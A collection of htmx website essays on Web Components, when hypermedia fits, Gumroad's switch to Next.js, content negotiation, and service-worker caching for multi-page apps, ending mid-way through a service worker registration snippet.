But being able to work with both the [Shadow DOM](@/examples/web-components.md) and the ["Light DOM"](https://meyerweb.com/eric/thoughts/2023/11/01/blinded-by-the-light-dom/) is a nice feature for htmx, and it carries a relatively minimal support burden because htmx just isn't doing all that much.

## Bringing Behavior Back to the HTML

A couple of years ago, W3C Contributor (and Web Component proponent, I think) Lea Verou wrote the following, in a blog post about ["The failed promise of Web Components"](https://lea.verou.me/blog/2020/09/the-failed-promise-of-web-components/):

> the main problem is that HTML is not treated with the appropriate respect in the design of these components. They are not designed as closely as possible to standard HTML elements, but expect JS to be written for them to do anything. HTML is simply treated as a shorthand, or worse, as merely a marker to indicate where the element goes in the DOM, with all parameters passed in via JS.

Lea is identifying an issue that, from the perspective of 2020, would have seemed impossible to solve: the cutting-edge web developers targeted by Web Components were not writing HTML, they were writing JSX, usually with React (or Vue, or what have you).
The idea that [behavior belongs in the HTML](https://unplannedobsolescence.com/blog/behavior-belongs-in-html/) was, in the zeitgeist, considered [a violation of separation of concerns](https://htmx.org/essays/locality-of-behaviour/);
disrespecting HTML was best practice.

The relatively recent success of htmx—itself now a participant in the zeitgeist—offers an alternative path: take HTML seriously again.
If your website is one whose functionality can be primarily described with [large-grain hypermedia transfers](@/essays/when-to-use-hypermedia.md) (we believe most of them can), then the value of being able to express more complex patterns through hypermedia increases dramatically.
As more developers use htmx (and multi-page architectures generally) to structure their websites,
perhaps the demand for Web Components will increase along with it.

Do Web Components "just work" everywhere? Maybe, maybe not. But they do work here.

<script>
class EditCell extends HTMLElement {
  connectedCallback() {
    this.value = this.getAttribute("value")
    this.name = this.getAttribute("name")

    this.innerHTML = `
      <select>
        <option ${this.value === 'Yes' ? 'selected' : ''}>Yes
        <option ${this.value === 'No' ? 'selected' : ''}>No
        <option ${this.value === 'Maybe' ? 'selected' : ''}>Maybe
      </select>
    `
  }
}

customElements.define('edit-cell', EditCell)
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/when-to-use-hypermedia.md

+++
title = "When Should You Use Hypermedia?"
description = """\
  This essay by Carson Gross explores when to use hypermedia in web development, highlighting its advantages and \
  trade-offs. Carson discusses scenarios where hypermedia is a good fit, such as text and image-heavy UIs, CRUD \
  applications, and nested UIs with well-defined areas. He also addresses when hypermedia may not be ideal, including \
  situations with frequent UI state updates, offline requirements, or dynamic interdependencies. Using a \
  'Transitional' approach (as suggested by Rich Harris), Carson advocates for combining hypermedia with other \
  strategies to optimize web application development, emphasizing its practical benefits and alignment with the web's \
  architecture."""
date = 2022-10-23
updated = 2023-02-03
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a 
> standardized form rather than one which is specific to an application's needs. The REST interface is designed to be 
> efficient for large-grain hypermedia data transfer, optimizing for the common case of the Web, but resulting in an
> interface that is not optimal for other forms of architectural interaction.

_-Roy Fielding, <https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5>_

We are obviously fans of hypermedia and think that it can address, at least in part, many of the problems that the web 
development world is facing today:

* Hypermedia is often [significantly less complex](@/essays/a-real-world-react-to-htmx-port.md) than an SPA approach would 
  be for many problems
* Hypermedia allows your application API to be [much more aggressively refactored and optimized](@/essays/hateoas.md)
* Hypermedia takes pressure off adopting a particular server technology, since you do not have an extensive JavaScript
  front-end code base

With [htmx](@/_index.md) and the additional UX possibilities that it gives you, we believe that many modern web applications can be built 
using HTML and the hypermedia paradigm.

With that being said, as with all technical choices, there are tradeoffs associated with hypermedia.  In this article
we will give you some ways to think about if hypermedia will be a good fit for an application or feature you are building.

## Transitional Applications & Hypermedia

Before we get into the details of when hypermedia is a good choice, we'd like to clarify that adopting hypermedia is not
an [either/or](https://en.wikipedia.org/wiki/Either/Or) decision when building a web application.  Even the most Single-y
of Single Page Applications utilizes hypermedia after all: as a bootstrap mechanism, to start the application.

In his talk, [Have SPAs Ruined The Web](https://www.youtube.com/watch?v=860d8usGC0o), Rich Harris gives us the term
"Transitional" Applications, that is applications that _mix_ both hypermedia and non-hypermedia (SPA) concepts.  We
have responded to Mr. Harris' talk [in more detail here](@/essays/a-response-to-rich-harris.md), but suffice to say we 
violently agree with him that a pragmatic "Transitional" approach to web development is best: you should use the
right tool for the particular job you are working on.

Where we would likely disagree with Mr. Harris is where "the line" is between features that can be implemented
effectively in hypermedia and features that require a more sophisticated client-side approach.  We feel that, with htmx,
hypermedia can go much, much further than many web developers today believe is possible.  And, further, that, for many
applications, it can address many or all of their UX needs.

## Hypermedia: A Good Fit If...

### _...If your UI is mostly text & images_

In [The Mother Of All htmx Demos](@/essays/a-real-world-react-to-htmx-port.md), David Guillot of Contexte shows how replacing
React with htmx lead to a 67% reduction in the total codebase, along with numerous other eye-popping results.  

As much as we would like to claim that every team moving from React to htmx would experience these results, the fact is that the
Contexte web application is *extremely amenable* to the hypermedia style.

What makes Contexte so perfect for hypermedia is that it is a media-oriented web application, showing articles consisting
of text and images for reading.  It has a sophisticated filtering mechanism and other niceties, but the crux of the
application is displaying and categorizing articles.  This is exactly the sort of thing that hypermedia was designed to
do, and this is why htmx and hypermedia worked so well for their application.

### _...If your UI is CRUD-y_

Another area where hypermedia has a long track-record of success is [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete)-y
web applications, in the [Ruby on Rails](https://rubyonrails.org/) style.  If your main application mechanic is showing
forms and saving the forms into a database, hypermedia can work very well.  

And, with htmx, it can also be [very smooth](@/examples/click-to-edit.md), and not just constrained
to the simple [list view/detail view](@/examples/edit-row.md) approach many server side applications take.

### _...If your UI is "nested", with updates mostly taking place within well-defined blocks_

One area where hypermedia can start to go a little wobbly is when you have UI dependencies that span structural
areas of the screen.  A good example of this, and one that often comes up when discussing the hypermedia approach, is the issue
count number shown on the ["Issues" tab](https://github.com/bigskysoftware/htmx/issues) in GitHub.  For a long time, 
when you closed an issue on GitHub, the issue count on the tab did not update properly.  GitHub, in general (although
 not exclusively), uses a hypermedia-style application.

"Ah ha!", exclaims the SPA enthusiast, "See, even GitHub can't get this right!"

Well, GitHub has fixed the issue, but it does demonstrate a problem with the hypermedia approach: how do you update
disjoint parts of the UI cleanly?  htmx offers [a few techniques for making this work](@/examples/update-other-content.md),
and Contexte, in their talk, discuss handling this situation very cleanly, using the event approach.

But, let us grant that this is an area where the hypermedia approach can get into trouble.  To avoid this problem, one
potential strategy is to colocate dependent elements for a given resource within a given region or area on the screen in an
application.  

As an example, consider a contact application whose detail screen for displaying and editing a contact has:

* An area for basic contact information
* An area for the contact's emails, and the count of those emails
* An area for the contact's phone numbers, and the count of those phone numbers

This UI could be laid out in the following manner:

![Nested Example](/img/nesting-example.png)

In this scenario, each subsection can have its own dedicated hypermedia end-points:

* `/contacts/<id>/details` for the first name/last name/ etc. info
* `/contacts/<id>/emails` for the email section
* `/contacts/<id>/phonenumbers` for the phone numbers section

The trick here is that the email and phone counts are co-located on the screen with their collections, which allows you to 
[target](@/attributes/hx-target.md) just that particular area for update when a modification is made to the respective 
collections.  All the data dependencies are co-located within a single area that can be updated via a single, simple
and obvious target, and that, further, don't interfere with one another when they are replaced.

Each area effectively forms a sort of server-side component, independent of the other areas on the screen, and they are
all nested within a broader contact detail user interface.

#### A Side Node: UI Driven Hypermedia APIs

Note that our hypermedia API (i.e. our end-points) in this case is _driven by the UI_: we have a particular UI layout 
that we want to achieve, and we adapt our API to that.  If the UI changed, we would have no qualms with completely changing
our API to satisfy the new requirements.  This is a [unique aspect](@/essays/hateoas.md) of developing with
hypermedia, and we [discuss it in more detail here](@/essays/hypermedia-apis-vs-data-apis.md).

Of course, there may be UI requirements that do not allow for grouping of dependent element in this manner and, if
the techniques [mentioned above](@/examples/update-other-content.md) aren't satisfactory, then it may be 
time to consider an alternative approach.

### _...If you need "deep links" & good first-render performance_

A final area where hypermedia outperforms other options is when you need "deep links", that is, links into your
application that go beyond the landing page, or when you need excellent first-render performance.  

Since hypermedia is the natural language of the web, and since browsers are very good at rendering HTML given a URL, 
using this approach is hard to beat for "traditional" web features such as these.

## Hypermedia: Not A Good Fit If...

### _...If your UI has many, dynamic interdependencies_

As we discussed above in the section on "nested" UIs, one area where hypermedia can have trouble is when there are 
many UI dependencies spread across your UI and you can't afford to "update the whole UI".  This is what Roy Fielding was
getting at in the quote at the top of this article: the web was designed for large-grain hypermedia data transfers, not
for lots of small data exchanges.

Particularly difficult for hypermedia to handle is when these dependencies are dynamic, that is, they depend on information
that cannot be determined at server-side render-time.  A good example of this is something like a spreadsheet: a user can
enter an arbitrary function into a cell and introduce all sorts of dependencies on the screen, on the fly.

(Note, however, that for many applications, the ["editable row"](@/examples/edit-row.md) pattern is an 
acceptable alternative to more general spreadsheet-like behavior, and this pattern does play well with hypermedia by 
isolating edits within a bounded area.)

### _...If you require offline functionality_

The hypermedia distributed architecture leans heavily on the server side for rendering representations of resources. When
a server is down or unreachable, the architecture will obviously have trouble.  It is possible to use Service Workers
to handle offline requests (although this is a complex option), and it is also easy to detect when a hypermedia 
application is offline and show an offline message, as many thick-client application do.

But if your application requires full functionality in an offline environment, then the hypermedia approach is not
going to be an acceptable one.

### _...If your UI state is updated extremely frequently_

Another situation where hypermedia is not going to be a good approach is if your UI state is updated frequently.  A good
example is an online game that needs to capture mouse movements.  Putting a hypermedia network request in-between a mouse
move and a UI update will not work well, and you would be far better off writing your own client-side state management
for the game and syncing with a server using a different technology.

Of course, your game may also have a setting page and that setting page might be better done with hypermedia than
whatever solution you use for the core of your game.  There is nothing wrong with mixing approaches, in the Transitional
style!  

We should note, however, that it is typically easier to embed SPA components _within_ a larger hypermedia
architecture, than vice-versa.  Isolated client-side components can communicate with a broader hypermedia application
via [events](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events), in the manner demonstrated
in the [drag-and-drop Sortable.js + htmx](@/examples/sortable.md) example.

### _...If you want integrated copy & paste components_

Recently we have seen the rise of "Copy & Paste" friendly components such as [ShadCN](https://ui.shadcn.com/).
These components are typically designed for a specific front end framework such as React, and choosing htmx means that
you can't use them.

There are front-end library neutral component libraries such as [lit](https://lit.dev/), but they are not as integrated
with htmx as ShadCN is with React.

### _...If your team is not on board_

A final reason to not choose hypermedia isn't technical, but rather sociological: currently, hypermedia simply isn't
in favor in web development.  Many companies have adopted React as their standard library for building web applications.  
Many developers and consultants have bet their careers on it.  Many hiring managers have never heard of hypermedia, let
alone htmx, but put React on every job they post out of habit.  It is certainly much easier to hire for!

While this is frustrating, it is a real phenomenon and should be borne in mind with humility.  Although Contexte
was able to rewrite their application quickly and effectively in htmx, not all teams are as small, agile and
passionate, nor are all applications such slam dunks for the approach.  It may be better to adopt hypermedia around
the edges, perhaps for internal tools first, to prove its value first, before taking a broader look at it.

## Conclusion

We are often asked: "OK, so what sorts of applications **wouldn't** htmx be good for".  We prefer to think about
things on a feature-by-feature basis using the "Transitional" application concept, but it is useful to have some
broad, popular applications in mind when thinking about just how much might be done in hypermedia versus other
approaches.

To give an example of two famous applications that we think _could_ be implemented cleanly in hypermedia, consider 
[Twitter](https://twitter.com) or [GMail](https://gmail.com).  Both web applications are text-and-image heavy, with
coarse-grain updates and, thus, would be quite amenable to a hypermedia approach.

Two famous examples of web applications that would _not_ be amenable to a hypermedia approach are 
[Google Sheets](https://www.google.com/sheets/about/) and [Google Maps](https://maps.google.com).  Google Sheets can have
a large amounts of state within and interdependencies between many cells, making it untenable to issue a server request on every
cell update.  Google Maps, on the other hand, responds rapidly to mouse movements and simply can't afford a server round trip for
every one of them.  Both of these applications require a much more sophisticated client-side setup than what hypermedia 
can provide.

Of course, the vast majority of web applications are nowhere near the scale and complexity of these examples. And almost 
every web application, even Google Sheets or Google Maps, has parts where, potentially, the hypermedia approach would be
better: simpler, faster and cleaner.

Having hypermedia as a tool in your tool-chest will improve your ability to address engineering problems as a web
developer, even if it doesn't become your favorite hammer.  There is a good [theoretical basis](@/essays/hateoas.md) 
for the approach, [practical benefits for many applications](@/essays/a-real-world-react-to-htmx-port.md),
and it is "with the grain" of the web in a way that other approaches are not.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/why-gumroad-didnt-choose-htmx.md

+++
title = "Why Gumroad Didn't Choose htmx"
description = """\
  In this essay, Sahil Lavingia, CEO of Gumroad, explains why the company decided against using htmx for its new \
  project, Helper, in favor of React and Next.js. He shares the challenges faced with htmx, including issues with \
  developer experience, user experience limitations, scalability, and AI tool support. While acknowledging htmx's \
  potential for simpler projects, Lavingia emphasizes how React and Next.js offered better solutions for complex \
  features like real-time collaboration, drag-and-drop functionality, and dynamic forms. Ultimately, Lavingia \
  highlights the importance of selecting technologies that can grow with the project's needs."""
date = 2024-09-30
updated = 2024-09-30
authors = ["Sahil Lavingia"]
[taxonomies]
tag = ["posts"]
+++

At Gumroad, we recently embarked on a new project called [Helper](https://helper.ai). As the CEO, I was initially quite
optimistic about using [htmx](https://htmx.org) for this project, even though some team members were less enthusiastic.

My optimism stemmed from previous experiences with React, which often felt like overkill for our needs. I thought htmx
could be a good solution to keep our front-end super light.

<figure>
<a href="/img/gumroad-red.jpeg" target="_blank">
<img alt="GitHub screenshot shows deleted files" src="/img/gumroad-red.jpeg" style="width: 100%">
</a> 
<figcaption>Source with htmx - Click Image To View</figcaption>
</figure>

In fact, I shared this sentiment with our team in Slack:

> "https://htmx.org/ may be a way of adding simple interactions to start"

And initially, it seemed promising! As one of our engineers at Gumroad eloquently put it:

> "HTMX is (officially) a meme to make fun of how overly complicated the JS landscape has gotten - much like tailwind is
> just a different syntax for inline CSS, HTMX is a different syntax for inline JS."

However, unlike Tailwind, which has found its place in our toolkit, htmx didn't scale for our purposes and didn't lead
to the best user experience for our customers–at least for our use case.

Here's why:

1. **Intuition and Developer Experience**: While it would have been possible to do the right thing in htmx, we found it
   much more intuitive and fun to get everything working with Next.js. The development process felt natural with
   Next.js, whereas with htmx, it often felt unnatural and forced. For example, when building complex forms with dynamic
   validation and conditional fields, we found ourselves writing convoluted server-side logic to handle what would be
   straightforward client-side operations in React.

2. **UX Limitations**: htmx ended up pushing our app towards a Rails/CRUD approach, which led to a really poor (or at
   least, boring and generic) user experience by default. We found ourselves constantly fighting against this tendency,
   which was counterproductive. For instance, implementing a drag-and-drop interface for our workflow builder proved to
   be a significant challenge with htmx, requiring workarounds that felt clunky compared to the smooth experience we
   could achieve with React libraries.

3. **AI and Tooling Support**: It's worth noting that AI tools are intimately familiar with Next.js and not so much with
   htmx, due to the lack of open-source training data. This is similar to the issue Rails faces. While not a
   dealbreaker, it did impact our development speed and the ease of finding solutions to problems. When we encountered
   issues, the wealth of resources available for React/Next.js made troubleshooting much faster.

4. **Scalability Concerns**: As our project grew in complexity, we found htmx struggling to keep up with our needs. The
   simplicity that initially attracted us began to feel limiting as we tried to implement more sophisticated
   interactions and state management. For example, as we added features like real-time collaboration and complex data
   visualization, managing state across multiple components became increasingly difficult with htmx's server-centric
   approach.

5. **Community and Ecosystem**: The React/Next.js ecosystem is vast and mature, offering solutions to almost any problem
   we encountered. With htmx, we often found ourselves reinventing the wheel or compromising on functionality. This
   became particularly evident when we needed to integrate third-party services and libraries, which often had React
   bindings but no htmx equivalents.

<figure>
<a href="/img/gumroad-green.jpeg" target="_blank">
<img alt="GitHub: 1 added file" src="/img/gumroad-green.jpeg" style="width: 100%">
</a> 
<figcaption>Source with Next.js - Click Image To View</figcaption>
</figure>

Ultimately, we ended up moving to React/Next.js, which has been a really great fit for building the complex UX we've
been looking for. We're happy with this decision–for now. It's allowed us to move faster, create more engaging user
experiences, and leverage a wealth of existing tools and libraries.

<figure>
<a href="/img/gumroad-helper-before-after.png" target="_blank">
<img alt="The old Gumroad Helper interface is quite basic with a single flat form,
  while the new one has multiple levels of navigation and editable lists."
  src="/img/gumroad-helper-before-after.png" style="width: 100%">
</a> 
<figcaption>Gumroad Helper Before & After - Click Image To View</figcaption>
</figure>


This experience has reinforced a valuable lesson: while it's important to consider lightweight alternatives, it's
equally crucial to choose technologies that can grow with your project and support your long-term vision. For Helper,
React and Next.js have proven to be that choice.

Since we've moved there, we've been able to seriously upgrade our app's user experience for our core customers.

1. **Drag-and-Drop Functionality**: One of the key features of our workflow builder is the ability to reorder steps
   through drag-and-drop. While it's possible to implement drag-and-drop with htmx, we found that the available
   solutions felt clunky and required significant custom JavaScript. In contrast, React ecosystem offers libraries like
   react-beautiful-dnd that provide smooth, accessible drag-and-drop with minimal setup.

2. **Complex State Management**: Each workflow step has its own set of configurations and conditional logic. As users
   edit these, we need to update the UI in real-time to reflect changes and their implications on other steps. With
   htmx, this would require numerous server roundtrips or complex client-side state management that goes against htmx's
   server-centric philosophy. React's state management solutions (like useState or more advanced options like Redux)
   made this much more straightforward.

3. **Dynamic Form Generation**: The configuration for each step type is different and can change based on user input.
   Generating these dynamic forms and handling their state was more intuitive with React's component model. With htmx,
   we found ourselves writing more complex server-side logic to generate and validate these forms.

4. **Real-time Collaboration**: While not visible in this screenshot, we implemented features allowing multiple users to
   edit a workflow simultaneously. Implementing this with WebSockets and React was relatively straightforward, whereas
   with htmx, it would have required more complex server-side logic and custom JavaScript to handle real-time updates.

5. **Performance Optimization**: As workflows grew larger and more complex, we needed fine-grained control over
   rendering optimizations. React's virtual DOM and hooks like useMemo and useCallback allowed us to optimize
   performance in ways that weren't as readily available or intuitive with htmx.

It's important to note that while these challenges aren't insurmountable with htmx, we found that addressing them often
led us away from htmx's strengths and towards solutions that felt more natural in a JavaScript-heavy environment. This
realization was a key factor in our decision to switch to React and Next.js.

We acknowledge that htmx may be a great fit for many projects, especially those with simpler interaction models or those
built on top of existing server-rendered applications. Our experience doesn't invalidate the benefits others have found
in htmx. The key is understanding your project's specific needs and choosing the tool that best aligns with those
requirements.

In our case, the complex, stateful nature of Helper's interface made React and Next.js a better fit. However, we
continue to appreciate htmx's approach and may consider it for future projects where its strengths align better with our
needs.

That said, we're always open to reevaluating our tech stack as our needs evolve and new technologies emerge. Who knows
what the future might bring?

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/why-tend-not-to-use-content-negotiation.md

+++
title = "Why I Tend Not To Use Content Negotiation"
description = """\
  In this essay, Carson Gross explores his preference for separating JSON and hypermedia APIs instead of using content \
  negotiation, a feature in HTTP that allows clients to request different formats (e.g., HTML, JSON). He discusses the \
  limitations of content negotiation in APIs, especially when mixing stable, versioned JSON data APIs with dynamic, \
  UI-driven hypermedia APIs. Carson argues that by splitting these concerns into distinct APIs, developers can better \
  maintain stability for data APIs while allowing flexibility for hypermedia APIs to evolve with user interface needs. \
  He also highlights the challenges content negotiation introduces to API design and scalability."""
date = 2023-11-18
updated = 2023-11-18
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

I have written a lot about Hypermedia APIs vs. Data (JSON) APIs, including [the differences between the two](@/essays/hypermedia-apis-vs-data-apis.md),
what [REST "really" means](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md) and why [HATEOAS](@/essays/hateoas.md)
isn't so bad as long as your API is interacting with a [Hypermedia Client](@/essays/hypermedia-clients.md).  

Often when I am engaged in discussions with people coming from the "REST is JSON over HTTP" world (that is, the normal
world) I have to navigate a lot of language and conceptual issues:

* No, I am not advocating you return HTML as a general purpose API, hypermedia makes for a bad general purpose API 
* Yes, I am advocating [tightly coupling](@/essays/two-approaches-to-decoupling.md) your web application to your hypermedia API
* No, I do not think that we will ever fix how the industry [uses the term REST](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md)
* Yes, I am advocating you [split your data API and your hypermedia API up](@/essays/splitting-your-apis.md)

The last point often strikes people who are used to a single, general purpose JSON API as dumb: why have two APIs when you
can have a single API that can satisfy any number of types of clients?  I tried to answer that question as best I can in the essay
above, but it is certainly a reasonable one to ask.

It seems like (and it is) extra work in some ways when compared to having one general API.

At this point in a conversation, someone who agrees broadly with my take on REST, [Hypermedia-Driven Applications](@/essays/hypermedia-driven-applications.md),
etc. will often jump in and say something like

> "Oh, it's easy, you just use _content negotiation_, it's baked into HTTP!"

Not being content with alienating only the general purpose JSON API enthusiasts, let me now proceed to also alienate
my erstwhile hypermedia enthusiast allies by saying: 

*I don't think content negotiation is typically the right approach to
returning both JSON and HTML for most applications.*

## What Is Content Negotiation?

First things first, what is "content negotiation"?

[Content negotiation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation) is a feature of HTTP that
allows a client to negotiate the content type of the response from a server.  A full treatment of the implementation 
in HTTP is beyond the scope of this essay, but let us consider the most well known mechanism for content negotiation
in HTTP, the [`Accept` Request Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation#the_accept_header).

The `Accept` request header allows a client, such as a browser, to indicate the `MIME` types that it is willing to accept
from the server in a response.

An example value of this header is:

```http request
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
```

This `Accept` header tells the server what formats the client is willing to accept.  Preferences are expressed via the
`q` weighting factor.  Wildcards are expressed with asterisks `*`.

In this case, the client is saying:

> I would most like to receive text/html, application/xhtml+xml or image/webp.  Next I would prefer application/xml. Finally, I will accept whatever you give me.

The server then can take this information and determine the best content type to provide to the client.

This is the act of "content negotiation" and it is certainly an interesting feature of HTTP.

## Using Content Negotiation In APIs

As far as I am aware, it was the [Ruby On Rails](https://rubyonrails.org/) community that first went in in a big way
using content negotiation to provide both HTML and JSON (and other) formats from the same URL.

In Rails, this is accomplished via the [`respond_to`](https://apidock.com/rails/ActionController/MimeResponds/respond_to) helper method available in 
controllers.

Leaving the gory details of Rails aside, you might have a request like an HTTP `GET` to `/contacts` that ends up invoking
a function in a `ContactsController` class that looks like this:

```ruby
def index
  @contacts = Contacts.all

  respond_to do |format|
    format.html # default rendering logic
    format.json { render json: @contacts }
  end
end
```

By making use of the `respond_to` helper method, if a client makes a request with the `Accept` header above, the controller
will render an HTML response using the Rails templating systems.

However, if the `Accept` header from the client has the value `application/json` instead, Rails will render the contacts 
as a JSON array for the client.

A pretty neat trick: you can keep all your controller logic, like looking up the contacts, the same and just use a 
bit of ruby/Rails magic to render two different response types using content negotiation.  Barely any additional work on 
top of the normal Model/View/Controller logic.

You can see why people like the idea!

## So What's The Problem?

So why don't I think this is a good approach to splitting your JSON and HTML APIs up?

It boils down to the [differences between JSON APIs and Hypermedia (HTML) APIs](@/essays/hypermedia-apis-vs-data-apis.md) I hinted
at earlier.  In particular:

* Data APIs should be versioned and should be very stable within a particular version of the API
* Data APIs should strive for both regularity and expressiveness due to the arbitrary data needs of consumers
* Data APIs typically use some sort of token-based authentication
* Data APIs should be rate limited
* Hypermedia APIs typically use some sort of session-cookie based authentication
* Hypermedia APIs should be driven by the needs of the underlying hypermedia application

While all of these differences matter and have an effect on your controller code, pulling it in two different directions,
it is really the first and last items that make me often choose not to use content negotiation in my applications.

Your JSON API needs to be a stable set of endpoint that client code can rely on.

Your hypermedia API, on the other hand, can change dramatically based on the user interface needs of your applications.

These two things don't mix well.

To give you a concrete example, consider an end point that renders a detail view of a contact, at, say `/contacts/:id` 
(where `:id` is a parameter containing the id of the contact to render).  Let's say that this page has a "related contacts"
section of the UI and, further, computing these related contacts is expensive for some reason.

In this situation you might choose to use the [Lazy Loading](https://htmx.org/examples/lazy-load/) pattern to defer 
loading the related contacts until after the initial contact detail screen has been rendered.  This improves perceived
performance of the page for your users.

If you did this, you might put the lazy loaded content at the end-point `/contacts/:id/related`.

Now, later on, maybe you are able to optimize the computation of related contacts.  At this point you might choose to 
rip the `/contacts/:id/related` end-point out and just render the related contacts information in the initial page render.

All of this is fine for your hypermedia API: hypermedia, through [the uniform interface & HATEOAS](@/essays/hateoas.md)
is _designed_ to handle these sorts of changes.

However, your JSON API... not so much.

Your JSON API should remain stable.  You can't be adding and removing end-points
willy-nilly.  Yes, you can have _some_ end-points respond with either JSON or HTML and others only respond with HTML, but
it gets messy.  What if you accidentally copy-and-paste in the wrong code somewhere, for example.

Taking all of this into account, as well as things like rate-limiting and so on, I think you can make a strong argument
that there should be a [Separation Of Concerns](https://en.wikipedia.org/wiki/Separation_of_concerns) between the JSON
API and the hypermedia API.

(Yes, I am aware of the irony that the person who coined the term [Locality of Behaviour](@/essays/locality-of-behaviour.md)
is making a SoC argument.)

## So What's The Alternative?

The alternative is, as I advocate in [Splitting Your APIs](@/essays/splitting-your-apis.md), er, well, splitting your
APIs.  This means providing different paths (or subdomains, or whatever) for your JSON API and your hypermedia (HTML)
API.

Going back to our contacts API, we might have the following:

* The JSON API to get all contacts is found at `/api/v1/contacts`
* The Hypermedia API to get all contacts is found at `/contacts`

This layout implies two different controllers and, I say, that's a good thing: the JSON API controller can implement the
requirements of a JSON API: rate limiting, stability, maybe an expressive query mechanism like GraphQL.

Meanwhile, your
hypermedia API (really, just your Hypermedia Driven Application endpoints) can change dramatically as your user interface
needs change, with highly tuned database queries, end-points to support special UI needs, etc.

By separating these two concerns, your JSON API can be stable, regular and low-maintenance, and your hypermedia API can
be chaotic, specialized and flexible.  Each gets its own controller environment to thrive in, without conflicting with
one another.

And this is why I prefer to split my JSON and hypermedia APIs up into separate controllers, rather than use HTTP content
negotiation to attempt to reuse controllers for both.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/you-cant.md

+++
title = "You Can't Build Interactive Web Apps Except as Single Page Applications... And Other Myths"
description = """\
  Tony Alaribe challenges common myths about multi-page applications (MPAs) and explores how modern browser \
  technologies can enable fast, interactive, and offline-capable web applications without relying on single-page \
  application (SPA) frameworks. Alaribe discusses advancements in service workers, caching, and cross-document \
  transitions, offering insights into building efficient MPAs. By debunking myths like slow page transitions and the \
  necessity of JavaScript-heavy frameworks, Alaribe highlights how developers can leverage HTML, CSS, and minimal \
  JavaScript to create robust, user-friendly web apps in 2024."""
date = 2024-09-20
updated = 2024-09-20
authors = ["Tony Alaribe"]
[taxonomies]
tag = ["posts"]
+++

<style>
img, video {
  max-width: 100%;
  margin: 10px;
}
</style>

### **An Ode to Browser Advancements.**

I often encounter discussions on Reddit and YCombinator where newer developers seek tech stack advice. Inevitably,
someone claims it's impossible to build a high-quality application without using a single-page application (SPA)
framework like React or AngularJS. This strikes me as odd because, even before the SPA revolution, many popular
multi-page web applications offered excellent user experiences.

Two years ago, I set out to build an [observability platform](https://apitoolkit.io) and chose to experiment with a
multi-page application (MPA) approach using HTMX. I wondered: Would a server-rendered MPA be inadequate for a data-heavy
application, considering that most observability platforms are built on ReactJS?

What I discovered is that you can create outstanding server-rendered applications if you pay attention to certain
details. 

**Here are some common MPA myths and what I've learned about them.**

## Myth 1:  MPA Page Transitions are slow because JavaScript and CSS are downloaded on every page navigation

The perception that MPA page transitions are slow is widespread—and not entirely unfounded—since this is the default
behavior of browsers. However, browsers have made significant improvements over the past decade to mitigate this issue.

To illustrate, in the video below, a full page reload with the cache disabled takes 2.90 seconds until the
DOMContentLoaded event fires. I recorded this at a café with poor Wi-Fi, but let's use this as a reference point. Keep
that number in mind.

<video controls>
  <source src="/img/you-cant/log-exp-cache.mp4">
</video>

It is common to reduce load times in MPAs using libraries such as **PJAX, Turbolinks, and even HTMX Boost**. These
libraries hijack the page reload using Javascript and swap out only the HTML body element between transitions. That way,
most of the page's head section assets don't need to be reloaded or re-downloaded.

But there’s a lesser known way of reducing how much assets are re-downloaded or evaluated during page transitions.



### Client-side Caching via Service workers

Frontend developers who have built Progressive Web Applications (PWA) with SPA frameworks might know about service
workers.

For those of us who are not frontend or PWA developers, service workers are a built-in feature of browsers. They let you
write Javascript code that sits between your users and the network, intercepting requests and deciding how the browser
handles them.

![service-worker-chart.png](/img/you-cant/service-worker-chart.png)



Due to its association with the PWA trend, service workers are only ordinary among SPA developers, and developers need
to realize that this technology can also be used for regular Multi-Page Applications.

<video controls>
  <source src="/img/you-cant/log_exp_with_cache.mp4">
</video>

In the video demonstration, we enable a service worker to cache and refresh the current page. You'll notice that there's
no flicker when clicking the link to reload the page, resulting in a smoother user experience.

Moreover, instead of transmitting over 2 MB of static assets as before, the browser now only fetches 84 KB of HTML
content—the actual page data. This optimization reduces the `DOMContentLoaded` event time from 2.9 seconds to under 500
milliseconds. Impressively, this improvement is achieved **without** using HTMX Boost, PJAX, or Turbolinks.

### How to Implement Service workers in Your Multi-Page Application

You might be wondering how to replicate these performance gains in your own MPA. Here's a simple guide:

1. **Create a `sw.js` File**: This is your service worker script that will manage caching and network requests.
2. **List Files to Cache**: Within the service worker, specify all the assets (HTML, CSS, JavaScript, images) that
   should be cached.
3. **Define Caching Strategies**: Indicate how each type of asset should be cached—for example, whether they should be
   cached permanently or refreshed periodically.

By implementing a service worker, you effectively tell the browser how to handle network requests and caching, leading
to faster load times and a more seamless user experience.

### Use Workbox to generate service workers

While it's possible to write service workers by hand—and there are excellent resources
like [this MDN article](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers) to
help you—I prefer using Google's [Workbox](https://developer.chrome.com/docs/workbox) library to automate the process.

### Steps to Use Workbox:

1. **Install Workbox**: Install Workbox via npm or your preferred package manager:

    ```bash
    npm install workbox-cli --global
    ```

2. Generate a Workbox Configuration file: Run the following command to create a configuration file:

    ```bash
    workbox wizard
    ```

3. **Configure Asset Handling**: In the generated `workbox-config.js` file, define how different assets should be
   cached. Use the `urlPattern` property—a regular expression—to match specific HTTP requests. For each matching
   request, specify a caching strategy, such as `CacheFirst` or `NetworkFirst`.

   ![workbox-cfg.png](/img/you-cant/workbox-cfg.png)


1. **Build the Service Worker**: Run the Workbox build command to generate the `sw.js` file based on your configuration:

    ```bash
    workbox generateSW workbox-config.js
    ```

2. **Register the Service Worker in Your Application**: Add the following script to your HTML pages to register the
   service worker:

    ```html
    <script>
      if ('serviceWorker' in navigator) {
        window.addEventListener('load', function() {
